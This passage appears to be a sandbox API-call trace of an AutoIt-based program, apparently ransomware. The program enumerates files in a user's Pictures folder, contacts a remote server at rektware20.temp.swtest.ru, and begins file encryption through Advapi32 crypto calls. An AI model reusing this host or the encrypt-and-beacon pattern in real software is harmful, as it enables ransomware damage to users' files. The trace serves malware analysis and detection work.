(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\k41yervvkfwbjkn4v.jpg")) returned 1 [0060.883] FindNextFileW (in: hFindFile=0x164c430, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0060.883] FindClose (in: hFindFile=0x164c430 | out: hFindFile=0x164c430) returned 1 [0060.883] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.883] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.883] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.883] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.883] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0060.884] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0060.884] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.884] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0060.884] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.884] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0060.884] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0060.884] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c) returned 1 [0060.884] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.884] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.884] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.885] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0060.885] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0060.885] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0060.885] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0060.885] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0060.886] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.886] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.886] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.886] CloseHandle (hObject=0x0) returned 0 [0060.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cPLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PLOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OC5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JnNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nNq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nq\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LXSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XSh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sh-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uwbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wbSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bSXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SXhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xhnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.889] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hnt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.890] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nt.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.890] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.890] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0060.890] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.890] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.890] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0060.890] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.890] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0060.890] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0060.890] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.890] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0060.890] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0060.890] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c) returned 1 [0060.890] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.890] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.891] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.891] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0060.891] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0060.891] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0060.891] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0060.891] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0060.892] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.892] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.892] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.892] CloseHandle (hObject=0x0) returned 0 [0060.892] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.892] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0060.892] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0060.892] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.892] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.893] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.893] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.893] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.893] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.893] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0060.893] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.893] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.893] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0060.893] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.893] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.893] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.893] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.894] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.894] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0060.894] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0060.894] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0060.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0060.895] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0060.895] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa2b8) returned 1 [0060.895] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.895] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.896] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0060.896] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.896] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.896] PeekMessageW (in: 